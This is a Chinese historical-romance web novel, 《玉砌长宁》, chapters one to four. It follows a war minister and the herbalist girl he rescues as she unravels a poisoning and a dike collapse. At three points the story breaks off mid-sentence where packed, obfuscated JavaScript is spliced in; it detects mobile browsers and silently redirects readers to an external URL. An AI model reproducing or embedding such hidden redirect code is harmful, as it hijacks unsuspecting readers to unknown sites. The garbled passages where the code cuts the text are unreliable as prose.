《玉砌长宁》 1. 一霎花开 长宁五年冬，白雪皑皑，千山皓雪，一望无垠。 朝野上下虽享着太平气象，却并非人人都能安于现状。 北境之外，时有外族骑兵越境挑衅，虽未成大祸，却也叫边境百姓不得安宁。比人祸更麻烦的是天灾，近年间旱涝交替，灾荒频发——时而赤地千里禾苗枯焦，时而河水泛滥淹没田舍，流民流离失所，民间怨气渐生，连粮仓赋税都受了波及。 天灾接连不断，黎民困苦，朝堂虽开仓赈灾、调粮济民，却终究难抵天意无常。为安抚民心告慰天地祖先，祈求风调雨顺，五谷丰登，圣上遂下旨，定于冬至之日，在长安郊外净业寺设坛祭祀，以昭诚敬，祈求上苍庇佑江山社稷、万民安康。 长安郊外的净业寺，本是隐在秦岭余脉深处的一座小寺。山高路远，香火清冷，平日里不过几个老僧守着，柴门常掩。 可如今临近冬至大祭，朝中将在此设坛行礼，这座久无人问津的古刹，竟一夜之间换了光景。 车马络绎不绝地沿着山道蜿蜒而来，原本寂静的山门前人声鼎沸。寺内殿宇被细细清扫修葺，香炉添了新火，往日清修之地，一时门庭若市，热闹非凡。 “那是……兵部尚书许大人？” 身旁一身青袍的五品员外郎下意识压低了声。冬至祭天本是礼部主理的大典，论祈福告天，与兵部无干，论仪卫护驾，也自有禁军金吾卫负责，向来轮不到兵部插手。 许庐忽然现身，不由引得在场官吏频频侧目，交头接耳。 一则是突兀，二则实在是这人容貌太过惹眼。 许庐生得一副极俊秀的眉眼，面如冠玉，姿仪清雅，站在肃穆仪仗间，竟比殿内供奉的玉像更显昳丽。女子见之倾心，男子见之亦自惭形秽。 他平日里虽神情冷淡，少有笑意，可只静静立在那里，便叫人无端觉得如沐春风。 员外郎心头掠过坊间那些不堪入耳的流言，暗忖这般容貌气度，也难怪有人嚼舌根，说他不近女色，是仗着圣上偏宠，形同男宠。可真等入朝共事，他才清楚，那些话全是无稽之谈，荒唐至极。 这位兵部尚书，是实打实从草根里爬上来的。 无世家依仗，无亲族撑腰，一路坐到正三品高位，凭的不是容貌，不是恩宠，而是杀伐果断四个字。 先前朝中有人上疏污蔑他拥兵自重，意图置他于死地。许庐既未争辩，也未动怒，只依法据实呈上奏折。 不过一夜之间，风向陡转。 第二日，那污蔑之人便被拿下，移交刑部严审，罪证确凿，落得个肝脑涂地的下场。 手段之准狠，叫满朝文武自此再无人敢轻易招惹。 安远十三年，先帝病重，烽火直抵京畿，北地异族趁中原国丧未发、君心未定，大举破关而入。铁骑踏破边城，守军节节败退，急报上的血字刺目惊心，直逼得朝堂上下人心惶惶。 许庐临危受命，而军中将领多是老资历，起初并不服他，可他每一道指令都精准狠辣，无一处疏漏。几战下来，原本一触即溃的防线竟被他硬生生稳住。 北地蛮族素来骄横，踏破边城时如入无人之境，只当中原朝堂内乱，无人可挡。 直到遇上许庐，前一日还气焰嚣张的北地骑兵，不过数日便被打得溃不成军，尸横遍野。 节节败退之下，蛮族人人心惊，私下里只敢低声相传——南边来了个貌若谪仙、心如寒铁的煞神。 因此先帝驾崩的安远十六年，一直延续到长宁五年，北地蛮族皆不敢来犯。 “辛苦了各位，准备了一些粥食供大家随意取用。” 许庐话音未落，周围叫好声一片，不能说白粥是多么贵重的吃食，但是在这偏远的净业寺，粮食储备有限，官员都只能吃不见几粒米粒连稀粥都称不上的白开水，连日忙碌祭祀相关杂事，早已疲惫不堪，腹中饥寒，忽见上官亲自送来温热白粥，皆是又惊又愧。 长途跋涉就为了给忙碌下人亲自送上一口温暖的白粥，待人和气，善于观察和表扬他人，常常雪中送炭，明明是举手之劳，却偏偏赶在众人最困顿的时候送来暖意，几句体恤的话落在人心上，比金银赏赐更叫人感念，明眼人不由感叹其作为兵部尚书确实掌握了不少笼络人心的手段。 一旁的折戟抱臂而立，伸手摩挲着自己粗糙的胡茬，望着自家主子这般行事，终究按捺不住满心疑惑，压低声音问道 “属下不懂，主子为何要大老远把这热粥运过来？祭祀事宜本就不归兵部管，咱们这般奔波，岂不是白白忙活一场？” “投我以木瓜，报之以琼琚。匪报也，永以为好也。” 许庐垂眸，目光淡淡落在仍一脸茫然不解的折戟身上，唇角勾起一抹浅淡的笑意。 静立片刻，风卷过衣角，他不再多言，只轻轻抬手 “回城。” 山风卷着碎雪，道旁枯枝悬着的冰棱晃了几晃，眼看就要砸落下来。折戟慌忙勒马带转缰绳，却在这时瞥见路边雪地里静静倒着一道身影。 “主上，路边有人昏倒了。” 他勒住马缰，语气里带着几分迟疑。并非心冷，实在是眼前这女子，美得太过蹊跷。 长睫上凝着细碎雪粒，苍白面颊泛着冻出来的薄红，粗布旧衣非但没掩去姿色，反倒衬得她眉眼清丽，如寒雪中乍然盛开的芙蓉。 若说折戟此生见过最绝色的男子是自家主子许庐，那眼前这人，便是他见过最惊心动魄的女子。 正踌躇无措间，轿帘已被轻轻掀开。 许庐微微俯身，伸出两指，轻轻搭在了女子腕间脉搏之上。 脉涩，脉伏，脉沉迟…… 结合少女身上背着的装了些许草药的竹筐，许庐大致猜出了七七八八。 竹筐散落在雪地里，几株带着残雪的草药露了出来——是款冬花与野紫苏，都是寻常百姓家用来温肺散寒的粗陋药材。想来这少女是进山采药，偏遇上一个时辰前突降的暴雪，风雪迷了路，又冻又饿，才会倒在这官道旁。 许庐俯身，轻轻将少女横抱而起。 “主上…”折戟见状，连忙上前一步想要拦下自家大人。万一上演一出农夫与蛇的戏码，必定会平白生出无数是非。 他本想开口劝阻，话到嘴边，却又硬生生咽了回去。 眼前这人，从来都是如此…… 折戟恍惚间想起许多年前，那时许庐还不是权倾朝野的兵部尚书，而他也不是如今的贴身护卫，不过是个被弃在乱坟岗里的无名小卒。 是少年不顾一切，用尽全身力气将他从死寂里拽了出来，给了他第二条性命。 折戟不再多言，默默翻身上马。 因为山径湿滑，为了安全考虑，折戟按辔徐行，到达外廷时，夜色已深。 折戟按照许庐的吩咐将此姑娘安置到客房后便请来府医，那位姓陈的府医摸摸花白的胡子，将那位姑娘的手安置于脉枕之上。良久，表情复杂的开口“除了受寒失温外，此女子还有中毒迹象。” “您的意思是……” “此物毒性极烈，仅凭脉象不能分辨出是何种毒物，若此女子有意识，则可用催吐加快自身排毒速度，可此女子因失温昏迷，只能借助其他药物缓解毒物蔓延速度，能否醒来就全靠天命了……” 折戟将此些话一字不差的报告给许庐，只见许庐略微点一点头“在她醒来之前，先在府上养着，若哪天醒了，给些银子派人送回家便好。” “末将明白。” * 云霓安睫毛颤了颤，费了好大力气才掀开沉重的眼皮，刺眼的光线透过窗棂洒进来，让她下意识眯了眯眼。 屋内陈设极简，不见半点奢靡，却处处透着贵气——身下是清漆温润光亮的红木床，一看便是寻常百姓倾尽家财也买不起的上品。 云霓安秀气的眉头紧紧蹙起，伸出微凉的指尖轻轻拍了拍昏沉的脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484521|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拼尽全力回想昏迷前的光景。 接连数日的暴雪封山，柴禾早已烧尽，家中米缸也空空如也，而偏偏寒风还顺着破旧的屋墙缝隙往里钻。 眼看再这样下去，迟早要冻饿而死，她翻遍了狭小的屋子，终于在木柜的角落里，摸到了一个布包，里面是她前些日子进山采来的乌头。 这乌头绝非普通草药，若是处理不当，便是能要人性命的毒药，可在那弹尽粮绝的绝境里，别说是有毒的草药，便是真正的毒药，她也会因为挣扎求生一饮而尽。 粗劣煮过的乌头汤入喉，不过片刻，一股燥热便从丹田缓缓蔓延至四肢百骸，驱散了萦绕多日的刺骨寒意。 霓安想要趁着风雪未盛，再进山多采些款冬花与野紫苏。这两样能温肺散寒，熬成汤喝，总能熬过这数九寒天，不至于活活冻饿而死。 可这份清明来得快去得更快，不过半柱香的功夫，乌头的猛烈药效骤然发作。腹中先是一阵绞痛，紧接着天旋地转，双腿一软便栽倒在地。 再睁眼，已是三日后。 云霓安缓了许久，才慢慢挪动着身子，小心翼翼地移到床边。 身上那件麻布旧棉服已被换下，料子是她从未穿过的绫罗绸缎，贴在身上暖意融融，只是款式看着略旧些，不似当下时新的模样。 云霓安伸手轻轻摩挲着衣料，想到这般好的料子，就算款式旧了些，也比她这辈子穿过的所有衣服都金贵百倍。 转头看向床头，一只素白瓷碗静静摆着，里面的药汤早已凉透。 她伸手拿起碗边的银勺，轻轻搅动了两下，一股清润的草木药香瞬间弥漫开来。 细细一闻，里头是甘草、连翘、干姜的味道，每一味药材都处理得干干净净，没有半分山间野药的杂质与霉气，是被精心妥善保管、品相极佳的上品药材。 霓安强撑着起身，她慢慢走到门边，伸手推开那扇梨花木质的房门。 宅邸之大令人咂舌，最让人感到奇怪的是，这么大的宅邸侍女和护卫极少， 寻常高官宅第的仆从如云，护卫林立。 而这宅子的主人，偏偏反其道而行之，府中仆从精简到极致，留下的皆是沉稳可靠、守口如瓶之人，既能把府中事务打理得井井有条，又能杜绝闲言碎语，免去不必要的麻烦。 霓安本只是想在廊下稍作走动，舒展一下僵了三日的身子，脚下不知不觉便顺着青石小径往前走，全然没留意已经迈上了前往花园的小径。 冷风卷着庭院里的碎雪，带着淡淡的寒梅清香。等她回过神来，才发现自己早已走出了居所的回廊，踏入了一片花园之中。 几株老梅倚着假山傲然绽放，嫩白与浅红的花瓣沾着残雪，寒香清冽。地面的青石路被扫得干净，只边角还留着薄薄一层白雪，踩上去绵软无声。 枯山水的砂石上积满了洁白的雪花，枯枝上挂满了晶莹剔透的冰棱，远远看去好像漫天梨花次第开放， 明明是冬天，却给人一霎花开的错觉，云霓安突然想起了师傅书屋里那本很破旧的诗集，扉页上有着她最喜欢的几句话 “忽如一夜春风来，千树万树梨花开。” * 书房内烛火摇曳，映得满室文书愈发堆积如山。 自寅时天还未亮，许庐便已端坐案前批阅卷宗，至今未曾歇息片刻。 室内暖意厚重，反倒让人胸闷气闷。 许庐起身随手取过墙上悬着的素色大氅披在肩上，也未唤随从，便想要去园中透透气。 庭中草木皆着素色，阶前薄雪如絮，而不知从哪里传来的，属于女子的清脆婉转的低吟，很应景的描绘了此番悠然之景。 “忽如一夜春风来，千树万树梨花开。” 许庐就是在这时候看到云霓安的，晓雪霏霏，她立于曲径一侧，面色尚带病后浅晕，唇无丹色却自含温婉。 和那天所见怏怏病态不同，平添明媚之感。 2. 倾城颜色 许庐立在廊下，目光落在不远处的云霓安身上。她分明才刚大病初愈，却只着一身单薄的素色罗衣，松松垮垮垂落肩头，随着她不经意的动作，滑落些许，露出一截皓白小臂，莹润得竟能与庭中未融的积雪争色。 他无端便想起昨日种种。此女昏倒在官道之上，气息奄奄。若真是对家派来的奸细，何必将自己置于这般生死一线的境地，杀敌八百，自损一千，绝非朝堂上那些老谋深算之辈会用的手段。 只是他自微末草根一路攀爬至兵部尚书之位，见惯了人心险恶。即便瞧着并无异样，对这般来路不明的女子，他依旧不敢有半分松懈。 因而昨夜一回府，他便暗中吩咐折戟，彻查她的底细。 得来的结果倒也简单——自幼父母双亡，是个无依无靠的孤儿，幸得村寨中一位游方医师怜悯，收留在身旁教养长大。 前些时日，医师一心向往遍游天下、寻访奇药，便独自离去，只留她一人守着简陋屋舍，艰难度日。 身世单薄，无亲无故，听来只觉满心悲凉。 云霓安先听到身后传来一阵轻浅声响，积雪被踏得咯吱作响，宛若碎玉在石上轻磨。她堪堪转过身去，便看清了来人样貌。 其立在廊下风雪边缘，周身萦绕着淡淡的檀木熏香，可尾调却漫开一缕极苦极麻的冷冽药香，让她瞬间想起那险些要了性命的乌头之毒。 “小姐好雅兴，大雪天在陌生人家肆意游荡。” 男人容貌昳丽，眉眼间笑意浅浅，分明是皮笑肉不笑。 云霓安心下一沉，暗道糟糕。 她定了定神，微微躬身，语气诚恳恭谨 “大人于我有救命之恩，此番大恩，鄙人无以为报。从今往后，愿为大人鞍前马后，赴汤蹈火，在所不辞。” 她没有直白乞求生计，只以报恩为由，句句皆是感念救命之情，倒叫人难以生硬拒绝。 许庐望着她垂首恭顺的模样，心中暗自思忖。 此女身世清白，无亲无故，恰好是府中最缺的一类人——不会与外朝势力勾连，也不易生出旁门左道的歪心思。 “大人，末将有一事禀告。” 折戟自花园假山后的小径快步走来，行止间皆规矩无比。他对着许庐端正行了一礼，起身时目光却下意识扫向一旁的云霓安。 许庐只淡淡瞥了一眼，抬手示意：“无妨。” 折戟这才沉声道：“驻扎在西南的李大人遭人暗害，据报是村落里的人在饮食中下了毒。只是那下毒手法异常刁钻，满营将士饮食皆同，唯独李大人一人中毒身亡，其余人毫发无伤。” “只李大人一人遇害？”许庐眉峰微挑，语气里平添凌厉，“这下毒的手段，倒是精妙得很。” “是。”折戟颔首，眉头紧锁，“来信上写已派人盘问过当地村民，所有人都一口否认下毒，软硬兼施审讯几番，始终问不出半点头绪，如同死无对证。” 云霓安站在一旁，略一思忖，忍不住轻声开口，清亮干净的声音在寂静的花园里格外清晰，“那李大人平日饮食，可有什么忌口偏好？” 这话一出，折戟当即脸色微沉，他本就对这个被主上贸然救下的女子满心怀疑，索性直接当作没听见。 云霓安心中轻轻一叹，果然难办。 她方才不过是顺势一问，还未正式留在府中当差，便已被主上身边最信任的副手这般提防排斥。 “李大人有什么忌口吗？” 许庐忽然开口，语气平淡，却分明是帮着少女重复了一遍问话。折戟一怔，显然没料到主上会替一个来历不明的女子搭腔，一时竟有些措手不及。 “确……确实有。”他定了定神，连忙回道，“早年在长安时，李大人便忌食鸭肉、鱼肉这一类荤腥，但凡沾口，立时便会流清涕、浑身发痒，严重时更是遍身起疹，苦不堪言。” 折戟心里纳闷，主上分明也对这女子心存戒备，暗中派人查过她底细，态度实在叫人捉摸不透。 云霓安垂眸细思，片刻后抬眼又问“李大人出事当日，在营中吃了些什么？” 折戟仍有戒备，不愿与她多言，可瞥见许庐淡淡颔首，便如实回话，“西南营地多以当地禽畜为食，但营中上下都知晓李大人忌食荤腥，故而特意吩咐，只给他备了野菜与米饭，半点荤腥都未曾沾染。” “如此便说得通了。李大人并非死于村民投毒，而是问题出在……” “米饭。” 许庐清冷的声音同时响起，与她异口同声。 两字落下，风掠过枯枝，雪粒簌簌轻响。 折戟猛地一震，愣在原地，一时竟没能回过神来。 “米饭？” 折戟被两人这异口同声的默契惊得心头一跳。 云霓安垂眸缓声道，“你方才说，李大人在长安为官时，忌口便只有鸭肉鱼肉一类荤腥，旁人也只当他是对肉食不耐。在他自己看来，米饭无害，自然是放心食用的。可西南湿热，军营屯粮多是陈米，存放日久，极易滋生米虫。米虫虽小，本质却属荤腥，与他忌讳的肉食同源。他不知其中关窍，只当是素米，行军劳累又多吃了几碗，体内旧疾骤然发作，来势汹汹，这才猝然亡故，并非村民下毒。” 一番话条理清晰，听得折戟恍然大悟。 可云霓安并未因勘破案情露出半分得意，反而朱唇轻抿，柳眉微锁，神色间带着几分轻愁，看上去心事重重。 折戟素来不被美色所动，毕竟自家主上许庐，已是世间少有的俊美君子。可眼前这女子，本就生得倾城之貌，此刻蹙眉含忧，关切之语不自觉脱口而出。 “民女有些感慨。” 云霓安声音微颤，“朝廷命官突发急症离世，若当地官吏怕担失职之责，将此事压下，苦果怕是终要由无辜百姓来咽。连有米虫的糟糠都难以为继的平民，本就命如草芥，却要时常顶着掉脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484522|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋的大罪，任人摆布。” 话音落，她慌忙伏跪于冰冷的青石板上，方才还能冷静剖析凶案的明丽容颜，此刻尽是惶惶之色，“民女失言了。” 从小师傅便教她谨言慎行，可方才一时感慨，竟又将心里话脱口而出。师傅当年那句“兴，百姓苦；亡，百姓苦”，字字刻在心头。她本想为这世道疾苦发声，可自己却依旧困在泥泞里挣扎，不过是飞蛾扑火，自取灭亡罢了。 “可有姓名？” 清冷的声音自上方传来，打断了她的自怨自艾。 云霓安屏息，缓缓抬头，只见许庐立在廊下，锦袍衣袂无风自动，那目光缓缓落在她身上。 “民女姓云名霓安。” 许庐语气平淡“云氏虽出言不逊，但此番协助破案有功，功过相抵。日后便入府中，按女官之职分发俸禄，暂且协理府中事务，好生历练。” 跪伏在数九寒天里，身着单薄素衣的云霓安，只觉身上一股暖意缓缓漫开，驱散了刺骨寒意。 一旁的折戟看得一头雾水，心里直犯嘀咕，这天寒地冻的，为何依旧跪伏不起。 正当疑惑不解时，只见许庐忽然微微沉腰屈膝，抬手稳稳托住了云霓安摇摇欲坠的身躯。 大病初愈，又衣衫单薄地跪了许久，云霓安只觉耳中嗡鸣，随即便失去了意识，软软的倒进了不知道是谁的掌心。 * 云霓安醒来后，发现自己身处阔朗轩敞的房间里，陈设皆依宫制。 迎面一架围屏，上绣松鹤流云，屏后设一张梨花木大案，铺着织锦桌毯，旁置一只小巧的掐丝珐琅香炉，青烟袅袅，散出淡淡沉木香。 两侧靠墙多宝格错落有致，师傅画本子里的官窑青瓷，雕漆小盒与玲珑玉饰在这里一件都没有，因而红木多宝阁反而却像有些多余的摆件。旁立高几，放着素色瓷瓶，插着几枝新剪的寒梅。 此番前来传话的，并非素来跟在许庐身侧的副将折戟，而是一位女官，她名为林嫚，鬓角发丝梳得一丝不苟，瞧着温和慈善。 云霓安看着林嫚娴熟打理府中事务的模样，心中难免生出几分好奇，忍不住问了问她是何时开始服侍许大人的。 可话刚问出口，林嫚便笑着岔开了话题，转而问起她近日身子可好些了、府中衣物膳食是否合口，尽是些无关紧要的家常小事，是半点口风都不漏，三缄其口。 云霓安见状，心中了然何必去探听这些惹祸上身的事，安分守己才是立身之本。 正暗自思忖间，林嫚忽然停下脚步，嘴角勾起一抹和善的笑意，温声开口，“霓安，我听府中下人说起，你似乎精通药理？” 云霓安一时不明她问这话的用意，不敢顺着其话说下去，只得恭谨如实回道，“民女幼时跟着师傅粗识药理，不过只是略懂皮毛，算不上精通。” “如此便好。”林嫚微微颔首，语气愈发恳切，“是这样的，我有一事相求……” 3. 雪霁初晴 * 近日来，东南地区祸事不断，连日淫雨连绵不绝，江潮倒灌入城，顷刻间淹没了大片良田与百姓居所，千里之地尽成水乡泽国，百姓流离失所，苦不堪言。 一封加急奏折快马送入京城，上面只一句“东南千里尽成泽国”，便在朝堂之上掀起了轩然大波。 据说奏折呈到御案前时，当今天子龙颜大怒，当即下旨改组官署，原本隶属于工部的都水清吏司，直接被拆分出来，单独设立都水监，专门兼管运河与海塘修缮诸事。 可这事，处处透着蹊跷…… 坊间早有流言传开，当今圣上在长宁二年，曾下拨巨额库银，专门命人前往东南兴修水利、加固防洪堤坝，满朝文武皆知，当时工程声势浩大，号称固若金汤。 可算算时间，至今才过去短短三年，耗费重金修建的防洪堤坝，竟如同木片糊成的一般，不堪一击，被洪水一冲便轰然坍塌，连半点抵挡之力都没有，实在是不合常理。 这事本与云霓安无关，她虽入了府，却是隶属于兵部管辖的女官，可许庐平日里也没给她派什么繁重事务，她倒乐得悠闲。 又因她身形纤细，稍加乔装，换上一身男子常服，束起长发，便活脱脱像个清瘦的少年郎，因此常常在外廷里出出进进。 久而久之，她便与都水监里一位年纪相仿的都水使渐渐熟络起来。那都水使天生一张黝黑面庞，性子直爽话也极多，自从朝廷负责督察堤坝的活计分到他头上时，他整日里都皱着眉头，满心愁绪。 这日撞见云霓安，他满是抱怨地吐槽道“朝廷派去东南检查堤坝用料的使者已经回京复命了，一个个拍着胸脯，愿意用项上人头担保，说当年修建堤坝的用材用料，全都是按照规制采办，没有半点偷工减料！” 用料毫无问题吗？ 若是用料合规，修建流程也无差错，那短短三年间，堤坝便轰然坍塌，千里东南沦为泽国一事，就更加蹊跷了。 依照常理推断，这三年间便坍塌的堤坝，背后十之八九藏着人为腐败与偷工减料的猫腻。可云霓安转念一想，却觉得此处大有蹊跷。 长宁二年，乃当今圣上登基次年。彼时新帝初立，锐意新政，正处于励精图治、整肃朝纲的关键之时。若说这期间便有层层官员贪墨，将国库专款中饱私囊，把上好的建材偷换成劣质废料，这种惊天大案，在那般严明的吏治下，似乎实在不太现实。 师傅的古书上倒是记载了不少有关堤坝坍塌的大事件，分析其原因，无非以下几种，一是以次充好，偷换材料。 将用来筑堤的青石换成价格较低的碎石烂石，甚至是外表完整而内里已经被蚀的风化岩， 二是施工时偷工减料，虽然表面看起来和寻常堤坝无异，但内部松软，空隙大，渗水即溃， 可眼下东南堤坝已塌，满目皆是那滔天洪水过后的狼藉废墟。 云霓安暗自皱眉，若是真犯了以上这两条大错，那朝廷派去的钦差使者，定然能凭着肉眼一眼看穿其中用材为废料，何必还要在此事上讳莫如深，拍着胸脯担保无问题。 眼下既无现场勘察的机会，手头也无确凿证据，她一时半会儿实在想不出什么万全对策。只得抬手拍了拍那都水使的肩膀，安慰道：“你且稍安，若我日后有了思路，定第一时间来告知你。” 那都水使望着她，脸上那点仅存的希冀瞬间熄灭。 与那愁眉不展的都水使拱手告辞后，云霓安依着林嫚女官的托付，动身前往长安城郭之外。 出了京城地界，一路行至皇家圈占的苑囿深处，尘嚣渐远，一座青墙黛瓦的尼寺便隐在茂林修竹之间，门楣上镌刻着“感业寺”三个古朴大字。 早前在府中，这位温和沉稳的女官对着她缓缓诉说起往事，言语间满是心酸。 林嫚并非土生土长的长安人，她的故里在长安城外周边的小县村落。在她尚且年幼之时，家乡遭遇了一场旷日持久的大旱，赤日炎炎，连岁亢阳。 春无播种之望，秋无敛获之期，地里颗粒无收，存粮耗尽，草根树皮也被搜刮殆尽，村落里日渐炊烟断绝，饿殍渐起。 在那样的绝境之下，农户们为了给孩子寻一条活路，只能忍痛将自家儿女卖入京城的王公府邸或是皇宫之中当差，只求孩子能换一口饭吃，不至于活活饿死在故土。 林嫚便是在那样的绝境里，被爹娘送入宫中，一步步熬到如今。而她还有一位孪生妹妹林姝，性子却比她刚烈百倍。 林姝宁死也不愿被爹娘卖入宫为奴，甘愿一头扎进这感业寺中，青灯古佛相伴，这一待，便是漫漫几十年光阴。 本以为余生便在这尼寺中清修度过，可偏偏祸不单行。 近些年来，林姝莫名染上了一桩难以根治的顽疾，每每发作，便心悸不安，哪怕只是稍稍挪动脚步，便会气喘吁吁，到了夜里更是辗转难眠，一丁点风吹草动便会被痛苦难捱。 这病症虽不是顷刻便危及性命的急症，却日复一日地折磨人。林嫚抬手拿起素色锦帕，轻轻沾了沾眼角的湿意， “她本就身子纤弱，自这心疾反复发作以来，不过短短数月光景，竟消瘦得脱了形，看着实在叫人揪心。” 即便此番不是林嫚上宫相托，即便她与这位尼师素昧平生，得知有人受此苦楚，她也定会竭尽所能，伸出援助之手。 这等性格大概遗传了自己的师傅吧，从记事起，年近古稀的师傅总是耐心接待，细细搭脉问症，斟酌药方。遇穷苦之人便分文不取，还常亲自煎药相送…… 想着想着，眼前突然浮现起师傅那和蔼的容貌，他须发皆已霜白，面色却仍红润，只是眼角眉梢堆着深深的皱纹，一笑便如菊瓣舒展。 莫名有些想他了呢…… * 午后，雪霁初晴，日头悬在澄澈天际。 报上了林姝师姑的名字之后，身着素色僧衣的释子便将云霓安引到庵堂外，推开木门便看见室内陈设只有灰褐皂三色，堂中设一张矮几，上置青瓷净瓶，瓶中斜插几枝枯梅或青竹，别无繁花。 虽说庵中房舍装饰风格皆大差不差，不过因为屋主人脾气秉性不同，因而装修风格也略有差异，而自家大人许庐和林姝师姑在房屋装修风格上很明显有共通之处，朴素淡雅，窗明几净，都有清修之人的简朴与安宁之感。 “有劳姑娘。”面前的女子眼尾上挑，唇线利落，虽然是微微含笑，不过却带一种迫人英气，很有冲击力的美感让霓安一时有些晃神。 师傅常言“相由心生”之类原来是此等含义啊…… 美人虽美，但两颊深深陷了下去，面色苍白如纸，只余一双眸子显得格外大，却黯淡无神。 “打扰了。”霓安将手搭在其手腕，发现其脉细弱而数，节律不齐，按之虚软无力，时有结代之象，典型的心疾怔忡之兆。 不是说此病难治，而是说此病难以根治，心疾怔忡多是由于忧思郁结所致，医者虽擅长治病救人，却不擅长读心，因为不了解林姝师姑心病所在，此病自然难医。 “贫尼的病很难治吧，时常感觉心力交瘁却未成一事，想想还真是竹篮打水一场空。” 云霓安敛了敛心神，垂眸站在殿角。 她细细想来，此事从根上便透着几分不合常理。 在她之前，唯一的女官便是林嫚上宫。这足以说明，大人对这位性情温和的女官信任至极。 依着这份极深的信任，林嫚上宫若真有手足重病，大可光明正大地向大人开口。以大人之明，断不会拒绝救治其至亲的请求。 如果这是故意试探，那她云霓安岂不是… 一念及此，后背已是冷汗涔涔。 沉吟片刻，霓安斟酌着开口 “师姑莫慌，此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484523|201926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病虽是顽疾，但却不是急症，根治的法子也非常简单，找些知根知底之人敞开心扉的聊聊自生病后十分挂念之事，想通了便就无药自医了。” 霓安长吁一口气，接着说道“民女此后会送来一些百合，酸枣仁，茯苓等养心安神的药茶，师姑用红泥小火焙之即可。” 像是想到什么一样，林姝平静无波的脸上，只一瞬，眼尾微垂，似有极淡的愁绪掠过眉间，转瞬即逝。 猜对了吗，那样浓郁到呼之欲出的感情。 “民女告辞了。” 看见面前如此清丽的人儿一眼就看穿了自己的病因，林姝自嘲的笑笑。 她站起身，摸出那只紫檀木连枝莲纹首饰匣，她轻开扣环，从里面取出一支雕作半开兰蕊的翡翠珠钗，清润透亮的颜色让人不由得联想到雨后蕉叶。 “香茗，把这支珠钗，赠予方才那位小姐。” 殿内静得只闻木鱼余响，林姝望着云霓安远去的背影，轻声吩咐道。 “可……这是……” 一旁伺候的小尼香茗闻声一怔。看着自家小姐那决绝的模样，香茗不敢再多言，只得捧着珠钗快步追上去。 “小姐，小姐请留步！” 云霓安闻声缓缓回头，便见一位素衣女子快步朝自己走来。虽是急切追赶，脚下却不曾失了半分仪态，竟让她恍惚想起宫中受过严苛教养的女官。 “多谢姑娘出手相救，这点薄礼，还请姑娘收下。”香茗双手捧着一方素色手帕，恭敬递到她面前，话音一落，便微微躬身，转身匆匆离去。 霓安低头望着手中被帕子裹得严实的物件，将帕子缓缓解开。 只见一支玉珠钗静静躺在其中，玉质温润通透，色泽莹润，一看便知绝非俗物。 若是当场推却，反倒像是拂了对方一番心意。可这般贵重之物，她断然不能收下，不如先妥善收好，等回府之后，再原封不动交还给林嫚上宫。 念及于此，云霓安细心将珠钗重新裹好。 回程途中，行至城楼附近，恰逢工匠们正在对城垣进行小范围修缮，霓安本可径直离去，可心头始终悬着东南堤坝莫名坍塌的事情，便驻足观察。 她敛神站在一旁，目光细细落在忙碌的工匠身上，倏地身旁炸起一声怒喝，吓得周遭行人都纷纷侧目。 只见一位手上满是厚茧的老工匠，正指着身边学徒厉声怒斥， “你懂不懂规矩！砌墙的灰浆湿度要适宜才行，你这般一股脑泼这么多水，会让灰浆彻底软化！再看长安这地界，昼夜温差悬殊得很，墙体日日经受热胀冷缩，长此以往城墙都会松动，到时候工程出了纰漏，你掏钱给朝廷重修不成！” 霓安看着面前瑟缩的工匠，思绪不由得飘到堤坝莫名坍塌的奇案上，她此前只想着堤坝建材偷工减料，却偏偏忽略了最关键的衔接之处。城墙也好，堤坝也罢，坚固与否从不是单靠砖石材质好坏，更在于砖与砖、石与石之间连接得是否紧密严实，灰浆便是其中最核心的关键。 云霓安压着心头的急切，语气恭谨地向还在气头上的老工匠问道，“老伯，晚辈有一事请教，若是在南方那般常年潮湿的地方，用普通灰浆修建城楼堤坝，岂不是极为危险？” 老工匠本还憋着怒火，没好气地回道，“我早年去南方游学，南方都是用糯米灰浆。糯米熬汁混入灰浆之中，再加入桐花油一类，粘性极强，凝固之后坚硬又耐水，哪怕常年泡在水里、被潮气侵蚀，也不会轻易松散失效！” 一语惊醒梦中人——若是长宁二年修筑东南堤坝时，朝廷为了彰显圣上对南方的关切之深，从长安城派去的是一群只懂北方修筑技法的北方工匠呢？ 东南之地多雨潮湿，江水环绕，普通素灰浆长期浸泡在江水里，早已慢慢失去粘性，砖石之间日渐松动，看似坚固的堤坝，一场大雨，江潮倒灌，便直接轰然坍塌！ 4. 兰生幽谷 霓安一路疾行，赶到外廷时，暮色已悄然而至。她方才在寺中耽搁许久，根本来不及换上平日里惯用的男装，便匆匆朝着都水监的方向奔去。 